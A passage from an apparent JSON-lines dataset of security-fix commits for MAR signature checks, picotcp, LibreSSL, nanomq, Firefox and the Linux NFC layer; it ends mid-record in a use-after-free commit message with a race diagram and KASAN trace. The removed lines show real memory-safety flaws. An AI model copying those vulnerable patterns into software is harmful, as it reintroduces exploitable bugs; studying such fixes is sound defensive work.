Signature length is too large to verify.\\n\");\n@@ -249,10 +240,11 @@ int mar_extract_and_verify_signatures_fp(FILE* fp,\n \n extractedSignatures[i] = malloc(signatureLen);\n if (!extractedSignatures[i]) {\n- fprintf(stderr, \"ERROR: Could allocate buffer for signature.\\n\");\n+ fprintf(stderr, \"ERROR: Could not allocate buffer for signature.\\n\");\n return CryptoX_Error;\n }\n- if (fread(extractedSignatures[i], signatureLen, 1, fp) != 1) {\n+ if (mar_read_buffer(mar, extractedSignatures[i], &mar_position,\n+ signatureLen) != 0) {\n fprintf(stderr, \"ERROR: Could not read extracted signature.\\n\");\n for (i = 0; i < signatureCount; ++i) {\n free(extractedSignatures[i]);\n@@ -270,11 +262,8 @@ int mar_extract_and_verify_signatures_fp(FILE* fp,\n }\n }\n \n- if (ftello(fp) == -1) {\n- return CryptoX_Error;\n- }\n- if (mar_verify_signatures_for_fp(\n- fp, provider, keys, (const uint8_t* const*)extractedSignatures,\n+ if (mar_verify_extracted_signatures(\n+ mar, provider, keys, (const uint8_t* const*)extractedSignatures,\n signatureCount, &numVerified) == CryptoX_Error) {\n return CryptoX_Error;\n }\n@@ -304,7 +293,7 @@ int mar_extract_and_verify_signatures_fp(FILE* fp,\n * certificate given, etc. The signature count must exactly match the number of\n * certificates given, and all signature verifications must succeed.\n *\n- * @param fp An opened MAR file handle\n+ * @param mar An opened MAR\n * @param provider A library provider\n * @param keys A pointer to the first element in an\n * array of keys.\n@@ -315,18 +304,18 @@ int mar_extract_and_verify_signatures_fp(FILE* fp,\n * the number of verified signatures.\n * This information can be useful for printing\n * error messages.\n- * @return 0 on success, *numVerified == signatureCount.\n+ * @return CryptoX_Success on success, *numVerified == signatureCount.\n */\n-int mar_verify_signatures_for_fp(FILE* fp, CryptoX_ProviderHandle provider,\n- CryptoX_PublicKey* keys,\n- const uint8_t* const* extractedSignatures,\n- uint32_t signatureCount,\n- uint32_t* numVerified) {\n+CryptoX_Result mar_verify_extracted_signatures(\n+ MarFile* mar, CryptoX_ProviderHandle provider, CryptoX_PublicKey* keys,\n+ const uint8_t* const* extractedSignatures, uint32_t signatureCount,\n+ uint32_t* numVerified) {\n CryptoX_SignatureHandle signatureHandles[MAX_SIGNATURES];\n char buf[BLOCKSIZE];\n uint32_t signatureLengths[MAX_SIGNATURES];\n uint32_t i;\n int rv = CryptoX_Error;\n+ size_t mar_position = 0;\n \n memset(signatureHandles, 0, sizeof(signatureHandles));\n memset(signatureLengths, 0, sizeof(signatureLengths));\n@@ -355,34 +344,28 @@ int mar_verify_signatures_for_fp(FILE* fp, CryptoX_ProviderHandle provider,\n }\n }\n \n- /* Skip to the start of the file */\n- if (fseeko(fp, 0, SEEK_SET)) {\n- fprintf(stderr, \"ERROR: Could not seek to start of the file\\n\");\n- goto failure;\n- }\n-\n /* Bytes 0-3: MAR1\n Bytes 4-7: index offset\n Bytes 8-15: size of entire MAR\n */\n if (CryptoX_Failed(ReadAndUpdateVerifyContext(\n- fp, buf, SIGNATURE_BLOCK_OFFSET + sizeof(uint32_t), signatureHandles,\n- signatureCount, \"signature block\"))) {\n+ mar, &mar_position, buf, SIGNATURE_BLOCK_OFFSET + sizeof(uint32_t),\n+ signatureHandles, signatureCount, \"signature block\"))) {\n goto failure;\n }\n \n /* Read the signature block */\n for (i = 0; i < signatureCount; i++) {\n /* Get the signature algorithm ID */\n if (CryptoX_Failed(ReadAndUpdateVerifyContext(\n- fp, &buf, sizeof(uint32_t), signatureHandles, signatureCount,\n- \"signature algorithm ID\"))) {\n+ mar, &mar_position, &buf, sizeof(uint32_t), signatureHandles,\n+ signatureCount, \"signature algorithm ID\"))) {\n goto failure;\n }\n \n if (CryptoX_Failed(ReadAndUpdateVerifyContext(\n- fp, &signatureLengths[i], sizeof(uint32_t), signatureHandles,\n- signatureCount, \"signature length\"))) {\n+ mar, &mar_position, &signatureLengths[i], sizeof(uint32_t),\n+ signatureHandles, signatureCount, \"signature length\"))) {\n goto failure;\n }\n signatureLengths[i] = ntohl(signatureLengths[i]);\n@@ -392,20 +375,15 @@ int mar_verify_signatures_for_fp(FILE* fp, CryptoX_ProviderHandle provider,\n }\n \n /* Skip past the signature itself as those are not included */\n- if (fseeko(fp, signatureLengths[i], SEEK_CUR)) {\n+ if (mar_buffer_seek(mar, &mar_position, signatureLengths[i]) != 0) {\n fprintf(stderr, \"ERROR: Could not seek past signature.\\n\");\n goto failure;\n }\n }\n \n /* Read the rest of the file after the signature block */\n- while (!feof(fp)) {\n- int numRead = fread(buf, 1, BLOCKSIZE, fp);\n- if (ferror(fp)) {\n- fprintf(stderr, \"ERROR: Error reading data block.\\n\");\n- goto failure;\n- }\n-\n+ while (mar_position < mar->data_len) {\n+ int numRead = mar_read_buffer_max(mar, buf, &mar_position, BLOCKSIZE);\n for (i = 0; i < signatureCount; i++) {\n if (CryptoX_Failed(\n CryptoX_VerifyUpdate(&signatureHandles[i], buf, numRead))) {", "sections": [{"section": "@@ -56,35 +56,38 @@ int mar_read_entire_file(const char* filePath, uint32_t maxSize,\n return result;\n }\n \n-int mar_extract_and_verify_signatures_fp(FILE* fp,\n- CryptoX_ProviderHandle provider,\n- CryptoX_PublicKey* keys,\n- uint32_t keyCount);\n-int mar_verify_signatures_for_fp(FILE* fp, CryptoX_ProviderHandle provider,\n- CryptoX_PublicKey* keys,\n- const uint8_t* const* extractedSignatures,\n- uint32_t keyCount, uint32_t* numVerified);\n+int mar_extract_and_verify_signatures(MarFile* mar,\n+ CryptoX_ProviderHandle provider,\n+ CryptoX_PublicKey* keys,\n+ uint32_t keyCount);\n+int mar_verify_extracted_signatures(MarFile* mar,\n+ CryptoX_ProviderHandle provider,\n+ CryptoX_PublicKey* keys,\n+ const uint8_t* const* extractedSignatures,\n+ uint32_t keyCount, uint32_t* numVerified);\n \n /**\n- * Reads the specified number of bytes from the file pointer and\n+ * Reads the specified number of bytes from the MAR buffer and\n * stores them in the passed buffer.\n *\n- * @param fp The file pointer to read from.\n+ * @param mar An opened MAR\n+ * @param mar_position\n+ * Our current position within the MAR file buffer.\n * @param buffer The buffer to store the read results.\n * @param size The number of bytes to read, buffer must be\n * at least of this size.\n * @param ctxs Pointer to the first element in an array of verify context.\n * @param count The number of elements in ctxs\n * @param err The name of what is being written to in case of error.\n- * @return 0 on success\n- * -1 on read error\n- * -2 on verify update error\n+ * @return CryptoX_Success on success\n+ * CryptoX_Error on error\n */\n-int ReadAndUpdateVerifyContext(FILE* fp, void* buffer, uint32_t size,\n- CryptoX_SignatureHandle* ctxs, uint32_t count,\n- const char* err) {\n+CryptoX_Result ReadAndUpdateVerifyContext(MarFile* mar, size_t* mar_position,\n+ void* buffer, uint32_t size,\n+ CryptoX_SignatureHandle* ctxs,\n+ uint32_t count, const char* err) {\n uint32_t k;\n- if (!fp || !buffer || !ctxs || count == 0 || !err) {\n+ if (!mar || !mar_position || !buffer || !ctxs || count == 0 || !err) {\n fprintf(stderr, \"ERROR: Invalid parameter specified.\\n\");\n return CryptoX_Error;\n }\n", "related": false}, {"section": "@@ -93,15 +96,15 @@ int ReadAndUpdateVerifyContext(FILE* fp, void* buffer, uint32_t size,\n return CryptoX_Success;\n }\n \n- if (fread(buffer, size, 1, fp) != 1) {\n+ if (mar_read_buffer(mar, buffer, mar_position, size) != 0) {\n fprintf(stderr, \"ERROR: Could not read %s\\n\", err);\n return CryptoX_Error;\n }\n \n for (k = 0; k < count; k++) {\n if (CryptoX_Failed(CryptoX_VerifyUpdate(&ctxs[k], buffer, size))) {\n fprintf(stderr, \"ERROR: Could not update verify context for %s\\n\", err);\n- return -2;\n+ return CryptoX_Error;\n }\n }\n return CryptoX_Success;\n", "related": false}, {"section": "@@ -136,11 +139,6 @@ int mar_verify_signatures(MarFile* mar, const uint8_t* const* certData,\n goto failure;\n }\n \n- if (!mar->fp) {\n- fprintf(stderr, \"ERROR: MAR file is not open.\\n\");\n- goto failure;\n- }\n-\n if (CryptoX_Failed(CryptoX_InitCryptoProvider(&provider))) {\n fprintf(stderr, \"ERROR: Could not init crytpo library.\\n\");\n goto failure;\n", "related": false}, {"section": "@@ -154,7 +152,7 @@ int mar_verify_signatures(MarFile* mar, const uint8_t* const* certData,\n }\n }\n \n- rv = mar_extract_and_verify_signatures_fp(mar->fp, provider, keys, certCount);\n+ rv = mar_extract_and_verify_signatures(mar, provider, keys, certCount);\n \n failure:\n \n", "related": false}, {"section": "@@ -169,50 +167,41 @@ int mar_verify_signatures(MarFile* mar, const uint8_t* const* certData,\n \n /**\n * Extracts each signature from the specified MAR file,\n- * then calls mar_verify_signatures_for_fp to verify each signature.\n+ * then calls mar_verify_extracted_signatures to verify each signature.\n *\n- * @param fp An opened MAR file handle\n+ * @param mar An opened MAR\n * @param provider A library provider\n * @param keys The public keys to use to verify the MAR\n * @param keyCount The number of keys pointed to by keys\n * @return 0 on success\n */\n-int mar_extract_and_verify_signatures_fp(FILE* fp,\n- CryptoX_ProviderHandle provider,\n- CryptoX_PublicKey* keys,\n- uint32_t keyCount) {\n+int mar_extract_and_verify_signatures(MarFile* mar,\n+ CryptoX_ProviderHandle provider,\n+ CryptoX_PublicKey* keys,\n+ uint32_t keyCount) {\n uint32_t signatureCount, signatureLen, numVerified = 0;\n uint32_t signatureAlgorithmIDs[MAX_SIGNATURES];\n uint8_t* extractedSignatures[MAX_SIGNATURES];\n uint32_t i;\n+ size_t mar_position = 0;\n \n memset(signatureAlgorithmIDs, 0, sizeof(signatureAlgorithmIDs));\n memset(extractedSignatures, 0, sizeof(extractedSignatures));\n \n- if (!fp) {\n+ if (!mar) {\n fprintf(stderr, \"ERROR: Invalid file pointer passed.\\n\");\n return CryptoX_Error;\n }\n \n- /* To protect against invalid MAR files, we assumes that the MAR file\n- size is less than or equal to MAX_SIZE_OF_MAR_FILE. */\n- if (fseeko(fp, 0, SEEK_END)) {\n- fprintf(stderr, \"ERROR: Could not seek to the end of the MAR file.\\n\");\n- return CryptoX_Error;\n- }\n- if (ftello(fp) > MAX_SIZE_OF_MAR_FILE) {\n- fprintf(stderr, \"ERROR: MAR file is too large to be verified.\\n\");\n- return CryptoX_Error;\n- }\n-\n /* Skip to the start of the signature block */\n- if (fseeko(fp, SIGNATURE_BLOCK_OFFSET, SEEK_SET)) {\n+ if (mar_buffer_seek(mar, &mar_position, SIGNATURE_BLOCK_OFFSET) != 0) {\n fprintf(stderr, \"ERROR: Could not seek to the signature block.\\n\");\n return CryptoX_Error;\n }\n \n /* Get the number of signatures */\n- if (fread(&signatureCount, sizeof(signatureCount), 1, fp) != 1) {\n+ if (mar_read_buffer(mar, &signatureCount, &mar_position,\n+ sizeof(signatureCount)) != 0) {\n fprintf(stderr, \"ERROR: Could not read number of signatures.\\n\");\n return CryptoX_Error;\n }\n", "related": false}, {"section": "@@ -228,19 +217,21 @@ int mar_extract_and_verify_signatures_fp(FILE* fp,\n \n for (i = 0; i < signatureCount; i++) {\n /* Get the signature algorithm ID */\n- if (fread(&signatureAlgorithmIDs[i], sizeof(uint32_t), 1, fp) != 1) {\n+ if (mar_read_buffer(mar, &signatureAlgorithmIDs[i], &mar_position,\n+ sizeof(uint32_t)) != 0) {\n fprintf(stderr, \"ERROR: Could not read signatures algorithm ID.\\n\");\n return CryptoX_Error;\n }\n signatureAlgorithmIDs[i] = ntohl(signatureAlgorithmIDs[i]);\n \n- if (fread(&signatureLen, sizeof(uint32_t), 1, fp) != 1) {\n+ if (mar_read_buffer(mar, &signatureLen, &mar_position, sizeof(uint32_t)) !=\n+ 0) {\n fprintf(stderr, \"ERROR: Could not read signatures length.\\n\");\n return CryptoX_Error;\n }\n signatureLen = ntohl(signatureLen);\n \n- /* To protected against invalid input make sure the signature length\n+ /* To protect against invalid input make sure the signature length\n isn't too big. */\n if (signatureLen > MAX_SIGNATURE_LENGTH) {\n fprintf(stderr, \"ERROR: Signature length is too large to verify.\\n\");\n", "related": false}, {"section": "@@ -249,10 +240,11 @@ int mar_extract_and_verify_signatures_fp(FILE* fp,\n \n extractedSignatures[i] = malloc(signatureLen);\n if (!extractedSignatures[i]) {\n- fprintf(stderr, \"ERROR: Could allocate buffer for signature.\\n\");\n+ fprintf(stderr, \"ERROR: Could not allocate buffer for signature.\\n\");\n return CryptoX_Error;\n }\n- if (fread(extractedSignatures[i], signatureLen, 1, fp) != 1) {\n+ if (mar_read_buffer(mar, extractedSignatures[i], &mar_position,\n+ signatureLen) != 0) {\n fprintf(stderr, \"ERROR: Could not read extracted signature.\\n\");\n for (i = 0; i < signatureCount; ++i) {\n free(extractedSignatures[i]);\n", "related": false}, {"section": "@@ -270,11 +262,8 @@ int mar_extract_and_verify_signatures_fp(FILE* fp,\n }\n }\n \n- if (ftello(fp) == -1) {\n- return CryptoX_Error;\n- }\n- if (mar_verify_signatures_for_fp(\n- fp, provider, keys, (const uint8_t* const*)extractedSignatures,\n+ if (mar_verify_extracted_signatures(\n+ mar, provider, keys, (const uint8_t* const*)extractedSignatures,\n signatureCount, &numVerified) == CryptoX_Error) {\n return CryptoX_Error;\n }\n", "related": false}, {"section": "@@ -304,7 +293,7 @@ int mar_extract_and_verify_signatures_fp(FILE* fp,\n * certificate given, etc. The signature count must exactly match the number of\n * certificates given, and all signature verifications must succeed.\n *\n- * @param fp An opened MAR file handle\n+ * @param mar An opened MAR\n * @param provider A library provider\n * @param keys A pointer to the first element in an\n * array of keys.\n", "related": false}, {"section": "@@ -315,18 +304,18 @@ int mar_extract_and_verify_signatures_fp(FILE* fp,\n * the number of verified signatures.\n * This information can be useful for printing\n * error messages.\n- * @return 0 on success, *numVerified == signatureCount.\n+ * @return CryptoX_Success on success, *numVerified == signatureCount.\n */\n-int mar_verify_signatures_for_fp(FILE* fp, CryptoX_ProviderHandle provider,\n- CryptoX_PublicKey* keys,\n- const uint8_t* const* extractedSignatures,\n- uint32_t signatureCount,\n- uint32_t* numVerified) {\n+CryptoX_Result mar_verify_extracted_signatures(\n+ MarFile* mar, CryptoX_ProviderHandle provider, CryptoX_PublicKey* keys,\n+ const uint8_t* const* extractedSignatures, uint32_t signatureCount,\n+ uint32_t* numVerified) {\n CryptoX_SignatureHandle signatureHandles[MAX_SIGNATURES];\n char buf[BLOCKSIZE];\n uint32_t signatureLengths[MAX_SIGNATURES];\n uint32_t i;\n int rv = CryptoX_Error;\n+ size_t mar_position = 0;\n \n memset(signatureHandles, 0, sizeof(signatureHandles));\n memset(signatureLengths, 0, sizeof(signatureLengths));\n", "related": false}, {"section": "@@ -355,34 +344,28 @@ int mar_verify_signatures_for_fp(FILE* fp, CryptoX_ProviderHandle provider,\n }\n }\n \n- /* Skip to the start of the file */\n- if (fseeko(fp, 0, SEEK_SET)) {\n- fprintf(stderr, \"ERROR: Could not seek to start of the file\\n\");\n- goto failure;\n- }\n-\n /* Bytes 0-3: MAR1\n Bytes 4-7: index offset\n Bytes 8-15: size of entire MAR\n */\n if (CryptoX_Failed(ReadAndUpdateVerifyContext(\n- fp, buf, SIGNATURE_BLOCK_OFFSET + sizeof(uint32_t), signatureHandles,\n- signatureCount, \"signature block\"))) {\n+ mar, &mar_position, buf, SIGNATURE_BLOCK_OFFSET + sizeof(uint32_t),\n+ signatureHandles, signatureCount, \"signature block\"))) {\n goto failure;\n }\n \n /* Read the signature block */\n for (i = 0; i < signatureCount; i++) {\n /* Get the signature algorithm ID */\n if (CryptoX_Failed(ReadAndUpdateVerifyContext(\n- fp, &buf, sizeof(uint32_t), signatureHandles, signatureCount,\n- \"signature algorithm ID\"))) {\n+ mar, &mar_position, &buf, sizeof(uint32_t), signatureHandles,\n+ signatureCount, \"signature algorithm ID\"))) {\n goto failure;\n }\n \n if (CryptoX_Failed(ReadAndUpdateVerifyContext(\n- fp, &signatureLengths[i], sizeof(uint32_t), signatureHandles,\n- signatureCount, \"signature length\"))) {\n+ mar, &mar_position, &signatureLengths[i], sizeof(uint32_t),\n+ signatureHandles, signatureCount, \"signature length\"))) {\n goto failure;\n }\n signatureLengths[i] = ntohl(signatureLengths[i]);\n", "related": false}, {"section": "@@ -392,20 +375,15 @@ int mar_verify_signatures_for_fp(FILE* fp, CryptoX_ProviderHandle provider,\n }\n \n /* Skip past the signature itself as those are not included */\n- if (fseeko(fp, signatureLengths[i], SEEK_CUR)) {\n+ if (mar_buffer_seek(mar, &mar_position, signatureLengths[i]) != 0) {\n fprintf(stderr, \"ERROR: Could not seek past signature.\\n\");\n goto failure;\n }\n }\n \n /* Read the rest of the file after the signature block */\n- while (!feof(fp)) {\n- int numRead = fread(buf, 1, BLOCKSIZE, fp);\n- if (ferror(fp)) {\n- fprintf(stderr, \"ERROR: Error reading data block.\\n\");\n- goto failure;\n- }\n-\n+ while (mar_position < mar->data_len) {\n+ int numRead = mar_read_buffer_max(mar, buf, &mar_position, BLOCKSIZE);\n for (i = 0; i < signatureCount; i++) {\n if (CryptoX_Failed(\n CryptoX_VerifyUpdate(&signatureHandles[i], buf, numRead))) {", "related": false}]} +{"owner": "virtualsquare", "repo": "picotcp", "language": "C", "file_name": "modules/pico_tcp.c", "commit_id": "4b9a16764f2b12b611de9c34a50b4713d10ca401", "commit_message": "More checks for correct header sizes\n\nReported-by: \"P. Amsuo, Purdue University\"", "patch": "@@ -868,6 +868,9 @@ static inline void tcp_parse_option_mss(struct pico_socket_tcp *t, uint8_t len,\n if (tcpopt_len_check(idx, len, PICO_TCPOPTLEN_MSS) < 0)\n return;\n \n+ if ((*idx + PICO_TCPOPTLEN_MSS) > len)\n+ return;\n+\n t->mss_ok = 1;\n mss = short_from(opt + *idx);\n *idx += (uint32_t)sizeof(uint16_t);\n@@ -896,6 +899,10 @@ static int tcp_parse_options(struct pico_frame *f)\n uint8_t *opt = f->transport_hdr + PICO_SIZE_TCPHDR;\n uint32_t i = 0;\n f->timestamp = 0;\n+\n+ if (f->buffer + f->buffer_len > f->transport_hdr + f->transport_len)\n+ return -1;\n+\n while (i < (f->transport_len - PICO_SIZE_TCPHDR)) {\n uint8_t type = opt[i++];\n uint8_t len;", "sections": [{"section": "@@ -868,6 +868,9 @@ static inline void tcp_parse_option_mss(struct pico_socket_tcp *t, uint8_t len,\n if (tcpopt_len_check(idx, len, PICO_TCPOPTLEN_MSS) < 0)\n return;\n \n+ if ((*idx + PICO_TCPOPTLEN_MSS) > len)\n+ return;\n+\n t->mss_ok = 1;\n mss = short_from(opt + *idx);\n *idx += (uint32_t)sizeof(uint16_t);\n", "related": false}, {"section": "@@ -896,6 +899,10 @@ static int tcp_parse_options(struct pico_frame *f)\n uint8_t *opt = f->transport_hdr + PICO_SIZE_TCPHDR;\n uint32_t i = 0;\n f->timestamp = 0;\n+\n+ if (f->buffer + f->buffer_len > f->transport_hdr + f->transport_len)\n+ return -1;\n+\n while (i < (f->transport_len - PICO_SIZE_TCPHDR)) {\n uint8_t type = opt[i++];\n uint8_t len;", "related": false}]} +{"owner": "libressl", "repo": "openbsd", "language": "C", "file_name": "src/lib/libssl/s3_lib.c", "commit_id": "1d6680b3682f8caba78c627dee60c76da6e20dd7", "commit_message": "Add missing pointer invalidation\n\nok tb\nfrom jcs\n\nThis is errata/7.2/026_ssl.patch.sig", "patch": "@@ -1,4 +1,4 @@\n-/* $OpenBSD: s3_lib.c,v 1.238 2022/08/21 19:39:44 jsing Exp $ */\n+/* $OpenBSD: s3_lib.c,v 1.238.2.1 2023/05/26 08:48:38 tb Exp $ */\n /* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com)\n * All rights reserved.\n *\n@@ -1573,6 +1573,7 @@ ssl3_free(SSL *s)\n \n \tsk_X509_NAME_pop_free(s->s3->hs.tls12.ca_names, X509_NAME_free);\n \tsk_X509_pop_free(s->internal->verified_chain, X509_free);\n+\ts->internal->verified_chain = NULL;\n \n \ttls1_transcript_free(s);\n \ttls1_transcript_hash_free(s);", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* $OpenBSD: s3_lib.c,v 1.238 2022/08/21 19:39:44 jsing Exp $ */\n+/* $OpenBSD: s3_lib.c,v 1.238.2.1 2023/05/26 08:48:38 tb Exp $ */\n /* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com)\n * All rights reserved.\n *\n", "related": false}, {"section": "@@ -1573,6 +1573,7 @@ ssl3_free(SSL *s)\n \n \tsk_X509_NAME_pop_free(s->s3->hs.tls12.ca_names, X509_NAME_free);\n \tsk_X509_pop_free(s->internal->verified_chain, X509_free);\n+\ts->internal->verified_chain = NULL;\n \n \ttls1_transcript_free(s);\n \ttls1_transcript_hash_free(s);", "related": false}]} +{"owner": "nanomq", "repo": "nanonng", "language": "C", "file_name": "src/mqtt/transport/tls/mqtt_tls.c", "commit_id": "657e6c81c474bdee0e6413483b990e90610030c1", "commit_message": "* FIX [transport] fix #1153 https://github.com/emqx/nanomq/issues/1153 for other transport", "patch": "@@ -695,8 +695,15 @@ mqtts_tcptran_pipe_recv_cb(void *arg)\n \t\t\t\tack_cmd = CMD_PUBACK;\n \t\t\t} else if (qos_pac == 2) {\n \t\t\t\tack_cmd = CMD_PUBREC;\n+\t\t\t} else {\n+\t\t\t\tlog_warn(\"Wrong QoS level!\");\n+\t\t\t\trv = PROTOCOL_ERROR;\n+\t\t\t\tgoto recv_error;\n+\t\t\t}\n+\t\t\tif ((packet_id = nni_msg_get_pub_pid(msg)) == 0) {\n+\t\t\t\trv = PROTOCOL_ERROR;\n+\t\t\t\tgoto recv_error;\n \t\t\t}\n-\t\t\tpacket_id = nni_msg_get_pub_pid(msg);\n \t\t\tack = true;\n \t\t}\n \t\tbreak;", "sections": [{"section": "@@ -695,8 +695,15 @@ mqtts_tcptran_pipe_recv_cb(void *arg)\n \t\t\t\tack_cmd = CMD_PUBACK;\n \t\t\t} else if (qos_pac == 2) {\n \t\t\t\tack_cmd = CMD_PUBREC;\n+\t\t\t} else {\n+\t\t\t\tlog_warn(\"Wrong QoS level!\");\n+\t\t\t\trv = PROTOCOL_ERROR;\n+\t\t\t\tgoto recv_error;\n+\t\t\t}\n+\t\t\tif ((packet_id = nni_msg_get_pub_pid(msg)) == 0) {\n+\t\t\t\trv = PROTOCOL_ERROR;\n+\t\t\t\tgoto recv_error;\n \t\t\t}\n-\t\t\tpacket_id = nni_msg_get_pub_pid(msg);\n \t\t\tack = true;\n \t\t}\n \t\tbreak;", "related": false}]} +{"owner": "mozilla", "repo": "gecko-dev", "language": "C++", "file_name": "dom/base/nsFocusManager.cpp", "commit_id": "5860c73273ab6a71408c8b595db695c149155dff", "commit_message": "Bug 1814597; r=smaug\n\nDifferential Revision: https://phabricator.services.mozilla.com/D171401", "patch": "@@ -1658,10 +1658,10 @@ Maybe nsFocusManager::SetFocusInner(Element* aNewContent,\n \n // Exit fullscreen if a website focuses another window\n if (StaticPrefs::full_screen_api_exit_on_windowRaise() &&\n- !isElementInActiveWindow && (aFlags & FLAG_RAISE) &&\n- (aFlags & FLAG_NONSYSTEMCALLER)) {\n+ !isElementInActiveWindow && (aFlags & FLAG_RAISE)) {\n if (XRE_IsParentProcess()) {\n if (Document* doc = mActiveWindow ? mActiveWindow->GetDoc() : nullptr) {\n+ Document::ClearPendingFullscreenRequests(doc);\n if (doc->GetFullscreenElement()) {\n LogWarningFullscreenWindowRaise(mFocusedElement);\n Document::AsyncExitFullscreen(doc);\n@@ -1672,9 +1672,11 @@ Maybe nsFocusManager::SetFocusInner(Element* aNewContent,\n if (activeBrowsingContext) {\n nsIDocShell* shell = activeBrowsingContext->GetDocShell();\n if (shell) {\n- Document* doc = shell->GetDocument();\n- if (doc && doc->GetFullscreenElement()) {\n- Document::AsyncExitFullscreen(doc);\n+ if (Document* doc = shell->GetDocument()) {\n+ Document::ClearPendingFullscreenRequests(doc);\n+ if (doc->GetFullscreenElement()) {\n+ Document::AsyncExitFullscreen(doc);\n+ }\n }\n } else {\n mozilla::dom::ContentChild* contentChild =", "sections": [{"section": "@@ -1658,10 +1658,10 @@ Maybe nsFocusManager::SetFocusInner(Element* aNewContent,\n \n // Exit fullscreen if a website focuses another window\n if (StaticPrefs::full_screen_api_exit_on_windowRaise() &&\n- !isElementInActiveWindow && (aFlags & FLAG_RAISE) &&\n- (aFlags & FLAG_NONSYSTEMCALLER)) {\n+ !isElementInActiveWindow && (aFlags & FLAG_RAISE)) {\n if (XRE_IsParentProcess()) {\n if (Document* doc = mActiveWindow ? mActiveWindow->GetDoc() : nullptr) {\n+ Document::ClearPendingFullscreenRequests(doc);\n if (doc->GetFullscreenElement()) {\n LogWarningFullscreenWindowRaise(mFocusedElement);\n Document::AsyncExitFullscreen(doc);\n", "related": false}, {"section": "@@ -1672,9 +1672,11 @@ Maybe nsFocusManager::SetFocusInner(Element* aNewContent,\n if (activeBrowsingContext) {\n nsIDocShell* shell = activeBrowsingContext->GetDocShell();\n if (shell) {\n- Document* doc = shell->GetDocument();\n- if (doc && doc->GetFullscreenElement()) {\n- Document::AsyncExitFullscreen(doc);\n+ if (Document* doc = shell->GetDocument()) {\n+ Document::ClearPendingFullscreenRequests(doc);\n+ if (doc->GetFullscreenElement()) {\n+ Document::AsyncExitFullscreen(doc);\n+ }\n }\n } else {\n mozilla::dom::ContentChild* contentChild =", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/nfc/netlink.c", "commit_id": "6709d4b7bc2e079241fdef15d1160581c5261c10", "commit_message": "net: nfc: Fix use-after-free caused by nfc_llcp_find_local\n\nThis commit fixes several use-after-free that caused by function\nnfc_llcp_find_local(). For example, one UAF can happen when below buggy\ntime window occurs.\n\n// nfc_genl_llc_get_params | // nfc_unregister_device\n |\ndev = nfc_get_device(idx); | device_lock(...)\nif (!dev) | dev->shutting_down = true;\n return -ENODEV; | device_unlock(...);\n |\ndevice_lock(...); | // nfc_llcp_unregister_device\n | nfc_llcp_find_local()\nnfc_llcp_find_local(...); |\n | local_cleanup()\nif (!local) { |\n rc = -ENODEV; | // nfc_llcp_local_put\n goto exit; | kref_put(.., local_release)\n} |\n | // local_release\n | list_del(&local->list)\n // nfc_genl_send_params | kfree()\n local->dev->idx !!!UAF!!! |\n |\n\nand the crash trace for the one of the discussed UAF like:\n\nBUG: KASAN: slab-use-after-free in nfc_genl_llc_get_params+0x72f/0x780 net/nfc/netlink.c:1045\nRead of size 8 at addr ffff888105b0e410 by task 20114\n\nCall Trace:\n \n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x72/0xa0 lib/dump_stack.c:106\n print_address_description mm/kasan/report.c:319 [inline]\n print_report+0xcc/0x620 mm/kasan/report.c:430\n kasan_report+0xb2/0xe0 mm/kasan/report.c:536\n nfc_genl_send_params net/nfc/netlink.c:999 [inline]\n nfc_genl_llc_get_params+0x72f/0x780 net/nfc/netlink.c:1045\n genl_family_rcv_msg_doit.isra.0+0x1ee/0x2e0 net/netlink/genetlink.c:968\n genl_family_rcv_msg net/netlink/genetlink.c:1048 [inline]\n genl_rcv_msg+0x503/0x7d0 net/netlink/genetlink.c:1065\n netlink_rcv_skb+0x161/0x430 net/netlink/af_netlink.c:2548\n genl_rcv+0x28/0x40 net/netlink/genetlink.c:1076\n netlink_unicast_kernel net/netlink/af_netlink.c:1339 [inline]\n netlink_unicast+0x644/0x900 net/netlink/af_netlink.c:1365\n netlink_sendmsg+0x934/0xe70 net/netlink/af_netlink.c:1913\n sock_sendmsg_nosec net/socket.c:724 [inline]\n sock_sendmsg+0x1b6/0x200 net/socket.c:747\n ____sys_sendmsg+0x6e9/0x890 net/socket.c:2501\n ___sys_sendmsg+0x110/0x1b0 net/socket.c:2555\n __sys_sendmsg+0xf7/0x1d0 net/socket.c:2584\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x3f/0x90 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x72/0xdc\nRIP: 0033:0x7f34640a2389\nRSP: 002b:00007f3463415168 EFLAGS: 00000246 ORIG_RAX: 000000000000002e\nRAX: ffffffffffffffda RBX: 00007f34641c1f80 RCX: 00007f34640a2389\nRDX: 0000000000000000 RSI: 0000000020000240 RDI: 0000000000000006\nRBP: 00007f34640ed493 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 00007ffe38449ecf R14: 00007f3463415300 R15: 0000000000022000\n \n\nAllocated by task 20116:\n kasan_save_stack+0x22/0x50 mm/kasan/common.c:45\n kasan_set_track+0x25/0x30 mm/kasan/common.c:52\n ____kasan_kmalloc mm/kasan/common.c:374 [inline]\n __kasan_kmalloc+0x7f/0x90 mm/kasan/common.c:383\n kmalloc include/linux/slab.h:580 [inline]\n kzalloc include/linux/slab.h:720 [inline]\n nfc_llcp_register_device+0x49/0xa40 net/nfc/llcp_core.c:1567\n nfc_register_device+0x61/0x260 net/nfc/core.c:1124\n nci_register_device+0x776/0xb20 net/nfc/nci/core.c:1257\n virtual_ncidev_open+0x147/0x230 drivers/nfc/virtual_ncidev.c:148\n misc_open+0x379/0x4a0 drivers/char/misc.c:165\n chrdev_open+0x26c/0x780 fs/char_dev.c:414\n do_dentry_open+0x6c4/0x12a0 fs/open.c:920\n do_open fs/namei.c:3560 [inline]\n path_openat+0x24fe/0x37e0 fs/namei.c:3715\n do_filp_open+0x1ba/0x410 fs/namei.c:3742\n do_sys_openat2+0x171/0x4c0 fs/open.c:1356\n do_sys_open fs/open.c:1372 [inline]\n __do_sys_openat fs/open.c:1388 [inline]\n __se_sys_openat fs/open.c:1383 [inline]\n __x64_sys_openat+0x143/0x200 fs/open.c:1383\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x3f/0x90 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x72/0xdc\n\nFreed by task 20115:\n 